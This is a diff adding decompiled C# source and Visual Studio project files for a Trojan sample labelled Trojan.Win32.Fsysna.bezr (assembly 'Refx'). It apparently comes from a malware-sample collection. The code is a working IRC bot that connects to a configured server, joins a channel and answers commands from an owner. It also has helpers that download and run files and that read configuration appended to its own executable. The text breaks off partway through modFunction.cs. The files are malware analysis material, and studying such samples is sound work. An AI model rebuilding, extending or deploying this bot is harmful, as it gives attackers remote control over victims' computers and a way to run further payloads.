+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    internal sealed class MyForms
+    {
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [ComVisible(false)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/My/MySettings.cs

@@ -0,0 +1,36 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.My.MySettings
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Refx.My
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        MySettings defaultInstance = MySettings.defaultInstance;
+        return defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/My/MySettingsProperty.cs

@@ -0,0 +1,31 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.My.MySettingsProperty
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Refx.My
+{
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings
+    {
+      get
+      {
+        MySettings settings = MySettings.Default;
+        return settings;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.My.Resources.Resources
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace Refx.My.Resources
+{
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [StandardModule]
+  [HideModuleName]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) Refx.My.Resources.Resources.resourceMan, (object) null))
+          Refx.My.Resources.Resources.resourceMan = new ResourceManager("Refx.Resources", typeof (Refx.My.Resources.Resources).Assembly);
+        return Refx.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => Refx.My.Resources.Resources.resourceCulture;
+      set => Refx.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/PingSender.cs

@@ -0,0 +1,30 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.PingSender
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using System.Threading;
+
+namespace Refx
+{
+  internal class PingSender
+  {
+    private static string PING = "PING :";
+    private Thread pingSender;
+
+    public PingSender() => this.pingSender = new Thread(new ThreadStart(this.Run));
+
+    public void Start() => this.pingSender.Start();
+
+    public void Run()
+    {
+      while (true)
+      {
+        clsIRC.Writer.WriteLine(PingSender.PING + clsIRC.SERVER);
+        clsIRC.Writer.Flush();
+        Thread.Sleep(15000);
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/Trojan.Win32.Fsysna.bezr.csproj

@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{2884C2F4-D28E-46B7-B7A7-B7855FA52EA9}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>Refx</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>Refx</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="clsIRC.cs" />
+    <Compile Include="PingSender.cs" />
+    <Compile Include="Main.cs" />
+    <Compile Include="modAuth.cs" />
+    <Compile Include="modBase64.cs" />
+    <Compile Include="modEOF.cs" />
+    <Compile Include="modFunction.cs" />
+    <Compile Include="modGetInfo.cs" />
+    <Compile Include="modRC4.cs" />
+    <Compile Include="modRegister.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/Trojan.Win32.Fsysna.bezr.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Refx", "Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.csproj", "{2884C2F4-D28E-46B7-B7A7-B7855FA52EA9}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{2884C2F4-D28E-46B7-B7A7-B7855FA52EA9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{2884C2F4-D28E-46B7-B7A7-B7855FA52EA9}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{2884C2F4-D28E-46B7-B7A7-B7855FA52EA9}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{2884C2F4-D28E-46B7-B7A7-B7855FA52EA9}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/clsIRC.cs

@@ -0,0 +1,115 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.clsIRC
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net.Sockets;
+using System.Threading;
+
+namespace Refx
+{
+  public class clsIRC
+  {
+    public static string SERVER = "";
+    public static int PORT = 0;
+    public static string NICK = "";
+    public static string USER = "";
+    public static string CHANNEL = "";
+    public static string CH_PASS = "";
+    public static StreamWriter Writer;
+
+    [DebuggerNonUserCode]
+    public clsIRC()
+    {
+    }
+
+    public void SetIRCConfig(string Host, int server_Port, string bot_Channel, string Cpass = "")
+    {
+      string str = modFunction.GenerateString(5, 0, 1);
+      clsIRC.SERVER = Host;
+      clsIRC.PORT = server_Port;
+      clsIRC.NICK = modFunction.GenerateString(5, 0, 1) + "[" + modGetInfo.GetOperatingSystem() + "]";
+      clsIRC.CHANNEL = bot_Channel;
+      clsIRC.CH_PASS = Cpass;
+      clsIRC.USER = "USER " + str + " " + str + " * :" + str;
+    }
+
+    public void StartIRC()
+    {
+      string target = "";
+      try
+      {
+        TcpClient tcpClient = new TcpClient(clsIRC.SERVER, clsIRC.PORT);
+        NetworkStream stream = tcpClient.GetStream();
+        StreamReader streamReader = new StreamReader((Stream) stream);
+        clsIRC.Writer = new StreamWriter((Stream) stream);
+        this.SendData(clsIRC.USER + "\r\n");
+        this.SendData("NICK " + clsIRC.NICK + "\r\n");
+        while (true)
+        {
+          while (clsIRC.InlineAssignHelper<string>(ref target, streamReader.ReadLine()) != null)
+          {
+            if (modFunction.JoinDelayTest(target))
+            {
+              if (Strings.Len(clsIRC.CH_PASS) > 0)
+                this.SendData("JOIN " + clsIRC.CHANNEL + " " + clsIRC.CH_PASS);
+              else
+                this.SendData("JOIN " + clsIRC.CHANNEL);
+              new PingSender().Start();
+            }
+            if (modFunction.WildcardCompare(modAuth.OWNER, target))
+            {
+              if (target.EndsWith("!info"))
+              {
+                try
+                {
+                  this.SendMSG("REFX - OS " + modGetInfo.GetOperatingSystem());
+                }
+                catch (Exception ex)
+                {
+                  ProjectData.SetProjectError(ex);
+                  ProjectData.ClearProjectError();
+                }
+              }
+            }
+          }
+          clsIRC.Writer.Close();
+          streamReader.Close();
+          tcpClient.Close();
+        }
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        Thread.Sleep(5000);
+        this.StartIRC();
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    private void SendData(string Data)
+    {
+      clsIRC.Writer.WriteLine(Data + "\r\n");
+      clsIRC.Writer.Flush();
+      modFunction.Addlog("OUT: " + Data);
+    }
+
+    private void SendMSG(string msg)
+    {
+      clsIRC.Writer.WriteLine("PRIVMSG " + clsIRC.CHANNEL + " :" + msg);
+      clsIRC.Writer.Flush();
+    }
+
+    private static T InlineAssignHelper<T>(ref T target, T value)
+    {
+      target = value;
+      return value;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modAuth.cs

@@ -0,0 +1,16 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modAuth
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modAuth
+  {
+    public static string OWNER;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modBase64.cs

@@ -0,0 +1,35 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modBase64
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.IO;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modBase64
+  {
+    public static void DecodeData(string InData, string destFile)
+    {
+      byte[] array = Convert.FromBase64String(InData);
+      FileStream fileStream = new FileStream(destFile, FileMode.Create);
+      fileStream.Write(array, 0, array.Length);
+      fileStream.Close();
+    }
+
+    public static string EncodeFile(string srcFile)
+    {
+      FileStream fileStream = new FileStream(srcFile, FileMode.Open);
+      byte[] numArray = new byte[checked ((int) fileStream.Length + 1)];
+      fileStream.Read(numArray, 0, checked ((int) fileStream.Length));
+      string base64String = Convert.ToBase64String(numArray);
+      fileStream.Flush();
+      fileStream.Dispose();
+      return base64String;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modEOF.cs

@@ -0,0 +1,62 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modEOF
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modEOF
+  {
+    public static string SELF_EXE = Assembly.GetExecutingAssembly().Location;
+
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    public static string ReadEOFData(ref string FilePath)
+    {
+      string Left;
+      try
+      {
+        int FileNumber = FileSystem.FreeFile();
+        FileSystem.FileOpen(FileNumber, FilePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
+        string Expression = Strings.Space(checked ((int) FileSystem.LOF(FileNumber)));
+        FileSystem.FileGet(FileNumber, ref Expression);
+        FileSystem.FileClose(FileNumber);
+        string String1 = Strings.StrReverse(Expression);
+        object lNum = (object) 30;
+        string nullBytes = modEOF.GetNullBytes(ref lNum);
+        int num = Strings.InStr(1, String1, nullBytes);
+        Left = Strings.StrReverse(Strings.Mid(Strings.StrReverse(Expression), 1, checked (num - 1)));
+        if (Operators.CompareString(Left, "", false) != 0)
+          ;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        int num = (int) Interaction.MsgBox((object) ex.Message);
+        Left = (string) null;
+        ProjectData.ClearProjectError();
+      }
+      return Left;
+    }
+
+    public static string GetNullBytes(ref object lNum)
+    {
+      string nullBytes = "";
+      short num1 = Conversions.ToShort(lNum);
+      short num2 = 1;
+      while ((int) num2 <= (int) num1)
+      {
+        nullBytes += "\0";
+        checked { ++num2; }
+      }
+      return nullBytes;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modFunction.cs

@@ -0,0 +1,151 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.modFunction
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using Refx.My;
+using System;
+using System.Diagnostics;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class modFunction
+  {
+    public static bool WildcardCompare(string MatchStr, string RawDATA)
+    {
+      bool flag1;
+      try
+      {
+        if (RawDATA.Contains("!"))
+        {
+          string[] strArray = Strings.Split(RawDATA, "!");
+          bool flag2 = LikeOperator.LikeString(strArray[1], MatchStr, CompareMethod.Binary);
+          strArray[0] = Strings.Replace(strArray[0], ":", "");
+          bool flag3 = LikeOperator.LikeString(strArray[0], MatchStr, CompareMethod.Binary);
+          flag1 = flag2 | flag3;
+        }
+        else
+          flag1 = false;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag1 = false;
+        ProjectData.ClearProjectError();
+      }
+      return flag1;
+    }
+
+    public static bool DownloadFile(string LinkFile, string DestFile)
+    {
+      bool flag;
+      try
+      {
+        MyProject.Computer.Network.DownloadFile(LinkFile, DestFile);
+        flag = true;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag = false;
+        ProjectData.ClearProjectError();
+      }
+      return flag;
+    }
+
+    public static bool RunFile(string Executefile)
+    {
+      bool flag;
+      try
+      {
+        Process.Start(Executefile);
+        flag = true;
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        flag = false;
+        ProjectData.ClearProjectError();
+      }
+      return flag;
+    }
+
+    public static void Addlog(string Text) => Console.Write("* " + Text + "\r\n");
+
+    public static bool JoinDelayTest(string Indata)
+    {
+      bool flag;
+      try
+      {
+        string[] strArray = Strings.Split(Indata);
+        flag = Information.UBound((Array) strArray) > 0 && Operators.CompareString(strArray[1], "376", false) == 0;
